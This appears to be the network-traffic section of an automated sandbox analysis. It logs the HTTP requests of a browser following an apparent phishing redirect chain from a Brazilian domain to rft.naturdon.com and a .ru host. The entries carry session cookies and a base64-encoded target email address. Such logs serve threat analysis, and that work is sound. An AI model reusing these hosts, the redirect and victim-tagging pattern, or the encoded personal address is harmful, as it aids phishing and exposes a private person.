              Source: global trafficHTTP traffic detected: GET /0/index.xml?nl=YnJpYW4uZ3VyYmFjaEB0ZXhhbmFjZW50ZXIuY29t HTTP/1.1Host: registrosaraquari.com.brConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://registrosaraquari.com.br/g63d/686989/Texanacenter/?nl=YnJpYW4uZ3VyYmFjaEB0ZXhhbmFjZW50ZXIuY29tAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /0/index.xslt HTTP/1.1Host: registrosaraquari.com.brConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/css,*/*;q=0.1sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: xsltReferer: https://registrosaraquari.com.br/0/index.xml?nl=YnJpYW4uZ3VyYmFjaEB0ZXhhbmFjZW50ZXIuY29tAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /favicon.ico HTTP/1.1Host: registrosaraquari.com.brConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://registrosaraquari.com.br/0/index.xml?nl=YnJpYW4uZ3VyYmFjaEB0ZXhhbmFjZW50ZXIuY29tAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /iVYo/ HTTP/1.1Host: rft.naturdon.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://registrosaraquari.com.br/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /iVYo/ HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://registrosaraquari.com.br/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjY5UEM1NTdkcm14MThnbkp3MXYrbnc9PSIsInZhbHVlIjoiWFphWHNIYkM4YnJFY0x3bEowWWlkZjhndndIVXdVaWF0RFdHYnhkYjdiTC9pNXpYekU0NDRCUlpxb3hMTDQrYy9UUktxMjVBNjdpTkl6QXY3NE9tQ2NhQTlFdnVtTjUxL2ZxVWorZ3NTTDgxamlIeUxQT2g0ZnUvWXpCcWZZS3giLCJtYWMiOiJhOWZhNDAxZTBhMzhmYTc0MzExMTJiYzVjM2JkYWRkYmYxMWE4N2M1ZmRjNTAyNWM1MmZjMTgwOGYyNTdlZDY4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im5Cd3VmZVM2dzA3KzVtejhWdnBSOFE9PSIsInZhbHVlIjoiK3dkNGRDOW14UzdSWW5RalhCeWFPdzhHN3B3VXY4dnh6WGZUUGx5SGRtemxnSGYzUmJSTUJkek5sdFVzY1hiYjAvOHVQS0dEZVhJb3RVeWJPamVQc0xRZWtJWjcxRmFlZEkxaHZRMEc1ckQ3dnZFM0d2TjM5SmdFVEg2djBnY2MiLCJtYWMiOiIzYjRlNDk3MDRhYTA5YzE0NGIyYjI5MThiMGM1ZmE2OTQ3ZTA0Mzc0NDAwOTU4NDQxZTVjNmFhMDg2NjE3YjJjIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://rft.naturdon.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://rft.naturdon.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://rft.naturdon.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://rft.naturdon.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://rft.naturdon.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2DO2NmWpmSV34aRepdzB0GLfUSSfoJeJaoTQ.ncireg-1742232038-1.0.1.1-yK87EUVEZM9sA_jk8ZvY8o4kpVV6VKIFOzyFMBEGIbrb47u_ISmr_ST29ZtnKsE1cxPnNTI.3jNqthJVVduTcHhH_dmngpKY9uK0WnX6Idw
              Source: global trafficHTTP traffic detected: GET /pani!a5uhbp HTTP/1.1Host: 9d0wc.jnfemo.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Origin: https://rft.naturdon.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://rft.naturdon.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /pani!a5uhbp HTTP/1.1Host: 9d0wc.jnfemo.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /iVYo/ HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://rft.naturdon.com/iVYo/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImJRd3BtenJDZUR5UkpyQk1QMWNwVkE9PSIsInZhbHVlIjoianZibjY1ZW0yWCtvUGtOZHBQQXhUZ1QzMitxa0NhcVA0NUxqeHNINGJWRDFDQjlCREJRQzljQUU4WnF4SS9UVGk5VjRxbXUxdWZWSWEwSml6YUg3YWJUUm8rNDN6YUd6OGFyb3kwWkVjMWRBdUlxZ2wrbFIyQWlEVWhETmVJNXYiLCJtYWMiOiI0M2I4ODA5YzVhN2RkNTQ3NWNlYzA0NzEzNWZjNmRlMDIyNmRlMTU4MTg5NjIzNTMwMDdlZWI2MTE3NTY2NTdmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijh3R1Q3YmhFUU93aC8rY24rbEVxQlE9PSIsInZhbHVlIjoiS2x1b2oydnhKU29QWE0zaGtWeFdFTmpLWXNpaCtaY1JIV3MrMzhCTEgxTU0xaEUrcFJiUU55V2toR21ZVVdmdkFMVU5aOFV0MXpZcW5KUXNUZnlWYTF4a3E3cXNnbzlkaXg2RDFXRXZVT1g5VTJoTERtTDVJbVE2MGovb2VNUDMiLCJtYWMiOiI2N2ZmNGJhNGIyOTZmZTVkOWU3NjAzMGZjZDY4NjIyMzBlMDM2YWY4NjYyZDJhNjYzNTNmOTU4Nzg4YThhNDRlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /taKIYA02gqszDpuhNW5gHAUNgMqo HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImJRd3BtenJDZUR5UkpyQk1QMWNwVkE9PSIsInZhbHVlIjoianZibjY1ZW0yWCtvUGtOZHBQQXhUZ1QzMitxa0NhcVA0NUxqeHNINGJWRDFDQjlCREJRQzljQUU4WnF4SS9UVGk5VjRxbXUxdWZWSWEwSml6YUg3YWJUUm8rNDN6YUd6OGFyb3kwWkVjMWRBdUlxZ2wrbFIyQWlEVWhETmVJNXYiLCJtYWMiOiI0M2I4ODA5YzVhN2RkNTQ3NWNlYzA0NzEzNWZjNmRlMDIyNmRlMTU4MTg5NjIzNTMwMDdlZWI2MTE3NTY2NTdmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijh3R1Q3YmhFUU93aC8rY24rbEVxQlE9PSIsInZhbHVlIjoiS2x1b2oydnhKU29QWE0zaGtWeFdFTmpLWXNpaCtaY1JIV3MrMzhCTEgxTU0xaEUrcFJiUU55V2toR21ZVVdmdkFMVU5aOFV0MXpZcW5KUXNUZnlWYTF4a3E3cXNnbzlkaXg2RDFXRXZVT1g5VTJoTERtTDVJbVE2MGovb2VNUDMiLCJtYWMiOiI2N2ZmNGJhNGIyOTZmZTVkOWU3NjAzMGZjZDY4NjIyMzBlMDM2YWY4NjYyZDJhNjYzNTNmOTU4Nzg4YThhNDRlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
              Source: global trafficHTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
              Source: global trafficHTTP traffic detected: GET /favicon.ico HTTP/1.1Host: rft.naturdon.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rft.naturdon.com/iVYo/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im5LYTVqTjh2SzMyUnIvWGs4WnVOQnc9PSIsInZhbHVlIjoiV1pueHlYWVRYY1R6ekR0RmljbUZNKzZiZ29DcHZxK0F4ZWJKd1ZmbzlYRnd1VjNycW1IeFo5SFU5MXRZNFE5dnEvaXBLSVhwWWpqNW0xQnpERVJRTURPZm1CTW5CbU5WblgxMXlqOVpiOFRYc0xsWFNOWVg2UkpHYmFJblRFTHQiLCJtYWMiOiJjODMwZjE1ZGY4ZmY5Zjc1NmI0M2Y3Mjg3MmU3NTU1ZDMyNzYzNjQ1MTY0N2E1MjcwYzY3ZGY4NWI3M2U5OWY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNHem0waTJEcjkrUFFQTDdUbEVRUWc9PSIsInZhbHVlIjoiMlhldXZpSEkzRXNhcWJKbmZEQUVjWUwwdDh4b283K0lXVzU3bjRYQlRzWURib21lczZ0MCtLMmgvRENGbkNkNi9NaGpSUlNVeTk2b3pucFlxOUhvYlFNdXJ0MUdPM2dUZmtqeTgwSUJ6Z0tybFczdGs1VWdYanlsSEN6eWZNU2IiLCJtYWMiOiI5YmQ5NmI1NGQ5NWJiYmY0MTEyMTkxMmJjZDE0MjM3YzRhZDkzNzZjOTcwMjQzYzI5NzkzMzJjMzY5Y2FjYjA0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /xyosxLBk4yon8qRTsmel9wgW7a2Lt2JU1ZXRfw HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImFCV3M5dlEwdXQvbzZiVjNDc0oyWHc9PSIsInZhbHVlIjoiUGwwWW1VanFZNnM5WXE4a3BZOUVVa21pZWFyRVRqSS92dStXd0N4ejJoYUJGaG53M0dJam4wd3JWYzZVMWRUa2JEQkE4S0N3S25xSDNTTjJ6STA0dmFnME9Lb0laTGZTSVJyQkxQMkM2OHgwcmk0TVNlZ0FET1Y5dFJyaWh4dXkiLCJtYWMiOiI4Yjk3NjM5MzY3NzA2NDFlZjA3Nzg1YmI4ODQ0Mzg1ZWExOWMyNTdiNDZmZGFjOGVlZDc5MjExZTc1MGM4MjJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdVZVF2ZHFGSWpPc1BpTkdCM1V5L1E9PSIsInZhbHVlIjoiODlTTmpQbVFzZkJQRGU1WlJKYXJPdGNFQWNnWTF5b2lQbG5GQXdiMnBjalF6ekpuSnhGd21vSjZqYTR5ekVkaTRzUGhyVlN2NFZaZW4wcnRpSDU3NmNUK3RsN3RWSHBpaXhiSGNnemFZanZxc3VSQVZoTEtvVk9RMnlENGxjS2IiLCJtYWMiOiJiN2EwM2QzYjcyZWQ4MDJkMzU0YTE3ZWI0YmFmZGYyNzI1OTE3YTVkZjJiZjhhNzFmYTJkZDU5OWZiZDMxMWQ4IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAID HTTP/1.1Host: rft.naturdon.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://rft.naturdon.com/iVYo/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImFCV3M5dlEwdXQvbzZiVjNDc0oyWHc9PSIsInZhbHVlIjoiUGwwWW1VanFZNnM5WXE4a3BZOUVVa21pZWFyRVRqSS92dStXd0N4ejJoYUJGaG53M0dJam4wd3JWYzZVMWRUa2JEQkE4S0N3S25xSDNTTjJ6STA0dmFnME9Lb0laTGZTSVJyQkxQMkM2OHgwcmk0TVNlZ0FET1Y5dFJyaWh4dXkiLCJtYWMiOiI4Yjk3NjM5MzY3NzA2NDFlZjA3Nzg1YmI4ODQ0Mzg1ZWExOWMyNTdiNDZmZGFjOGVlZDc5MjExZTc1MGM4MjJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdVZVF2ZHFGSWpPc1BpTkdCM1V5L1E9PSIsInZhbHVlIjoiODlTTmpQbVFzZkJQRGU1WlJKYXJPdGNFQWNnWTF5b2lQbG5GQXdiMnBjalF6ekpuSnhGd21vSjZqYTR5ekVkaTRzUGhyVlN2NFZaZW4wcnRpSDU3NmNUK3RsN3RWSHBpaXhiSGNnemFZanZxc3VSQVZoTEtvVk9RMnlENGxjS2IiLCJtYWMiOiJiN2EwM2QzYjcyZWQ4MDJkMzU0YTE3ZWI0YmFmZGYyNzI1OTE3YTVkZjJiZjhhNzFmYTJkZDU5OWZiZDMxMWQ4IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /5689EGsgt7WhYocxyMxT56718 HTTP/1.1Host: rft.naturdon.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlN5c2lSVkQ2eWVndU5zTkM0d1R6Q3c9PSIsInZhbHVlIjoiR3FYaStoVDVKY3E0THFWZStmNTZDbzhIZ1J5VnM1VXpIOTdnYlpWdEVNUVk1OWFiaXNDK25KdGd6V2IvYnlIWHp0T2xhT0JQdGVXNy9OLzdGL3FraEdYZEo4ZnEvYkNjQmYxV3BtTFdHYWw2RElPTUhPTTl1RTYySUVNK1ZWSVUiLCJtYWMiOiIzMmY1NDQwMTA3N2YxOGQ2MjQyODIzMDYyNWFhMmI1MTIxM2VmYjU5ZDAzMDZkN2E3OWZmMjk2YTM0YThjMjJjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkQ2YXkvL0NOUzRFTy9XU3lBNFFwakE9PSIsInZhbHVlIjoiQzFlamNJL2F3OUZJM08xdXNYb1ZzWlo0aTlqY2FVanpDWkZXNVA2bEkyRE5LOXo1SDVFMnk0SFVxaFl4OW1YSW9aOXFpQVNtSThvaTVnNGdPb2Y4NmgxaXRXYW1EQmEvT1EvZ2RFUUpwZzduTXdObzA0NmRqMkM4bVJnR29lb24iLCJtYWMiOiI5NDMyZTJkZGMyODM2YjYwYWZlMWYxM2E5NWQ0MGNkZWFjNjEzMzgzZDIzMjU4ZTEzNmQ4Y2JlYjZiY2M2NDhmIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /xymUqoRpqdeAef30 HTTP/1.1Host: rft.naturdon.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlN5c2lSVkQ2eWVndU5zTkM0d1R6Q3c9PSIsInZhbHVlIjoiR3FYaStoVDVKY3E0THFWZStmNTZDbzhIZ1J5VnM1VXpIOTdnYlpWdEVNUVk1OWFiaXNDK25KdGd6V2IvYnlIWHp0T2xhT0JQdGVXNy9OLzdGL3FraEdYZEo4ZnEvYkNjQmYxV3BtTFdHYWw2RElPTUhPTTl1RTYySUVNK1ZWSVUiLCJtYWMiOiIzMmY1NDQwMTA3N2YxOGQ2MjQyODIzMDYyNWFhMmI1MTIxM2VmYjU5ZDAzMDZkN2E3OWZmMjk2YTM0YThjMjJjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkQ2YXkvL0NOUzRFTy9XU3lBNFFwakE9PSIsInZhbHVlIjoiQzFlamNJL2F3OUZJM08xdXNYb1ZzWlo0aTlqY2FVanpDWkZXNVA2bEkyRE5LOXo1SDVFMnk0SFVxaFl4OW1YSW9aOXFpQVNtSThvaTVnNGdPb2Y4NmgxaXRXYW1EQmEvT1EvZ2RFUUpwZzduTXdObzA0NmRqMkM4bVJnR29lb24iLCJtYWMiOiI5NDMyZTJkZGMyODM2YjYwYWZlMWYxM2E5NWQ0MGNkZWFjNjEzMzgzZDIzMjU4ZTEzNmQ4Y2JlYjZiY2M2NDhmIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveOrigin: https://rft.naturdon.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlN5c2lSVkQ2eWVndU5zTkM0d1R6Q3c9PSIsInZhbHVlIjoiR3FYaStoVDVKY3E0THFWZStmNTZDbzhIZ1J5VnM1VXpIOTdnYlpWdEVNUVk1OWFiaXNDK25KdGd6V2IvYnlIWHp0T2xhT0JQdGVXNy9OLzdGL3FraEdYZEo4ZnEvYkNjQmYxV3BtTFdHYWw2RElPTUhPTTl1RTYySUVNK1ZWSVUiLCJtYWMiOiIzMmY1NDQwMTA3N2YxOGQ2MjQyODIzMDYyNWFhMmI1MTIxM2VmYjU5ZDAzMDZkN2E3OWZmMjk2YTM0YThjMjJjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkQ2YXkvL0NOUzRFTy9XU3lBNFFwakE9PSIsInZhbHVlIjoiQzFlamNJL2F3OUZJM08xdXNYb1ZzWlo0aTlqY2FVanpDWkZXNVA2bEkyRE5LOXo1SDVFMnk0SFVxaFl4OW1YSW9aOXFpQVNtSThvaTVnNGdPb2Y4NmgxaXRXYW1EQmEvT1EvZ2RFUUpwZzduTXdObzA0NmRqMkM4bVJnR29lb24iLCJtYWMiOiI5NDMyZTJkZGMyODM2YjYwYWZlMWYxM2E5NWQ0MGNkZWFjNjEzMzgzZDIzMjU4ZTEzNmQ4Y2JlYjZiY2M2NDhmIiwidGFnIjoiIn0%3D
